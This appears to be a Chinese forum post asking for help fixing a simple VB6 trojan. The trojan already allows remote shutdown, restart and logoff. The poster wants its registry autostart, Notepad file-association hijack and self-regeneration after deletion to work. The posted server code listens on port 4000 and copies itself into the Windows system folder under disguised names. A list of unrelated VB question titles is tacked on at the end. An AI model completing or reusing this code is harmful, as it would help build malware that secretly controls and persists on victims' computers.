VB写的简单的木马程序代码有问题，帮忙改一下

实现远程关机，重启，注销的功能可以使用，但是自动添加注册表启动项。关联记事本，在删除木马后自动生成新木马的功能实现不了，Sever端的代码如下：

（窗体代码）：

Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000 '本地端口
.sckServer.Listen '开始监听
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = "C:\windows\system"
On Error Resume Next
'复制文件成系统目录下的Trojan.exe
FileCopy sCurrentPath, sSystemDir & "\Trojan.exe"
On Error Resume Next
'复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
End With

Call StartupGroup
Call WriteToTxt

'判断程序是否下在运行
If App.PrevInstance = True Then
'如果已经运行就退出。
End
End If

End Sub

'接受客户

VB写的简单的木马程序代码有问题，帮忙改一下 简单的VB代码 非常简单的VB题 代码咋 写？ VB代码帮忙写个，简单的，谢谢 谁vb帮我写个简单的代码 问一个关于VB的简单的代码 问一个VB的简单的代码,请回答~谢谢 vb的最简单代码 简单的VB实现代码！ 求一个简单的VB代码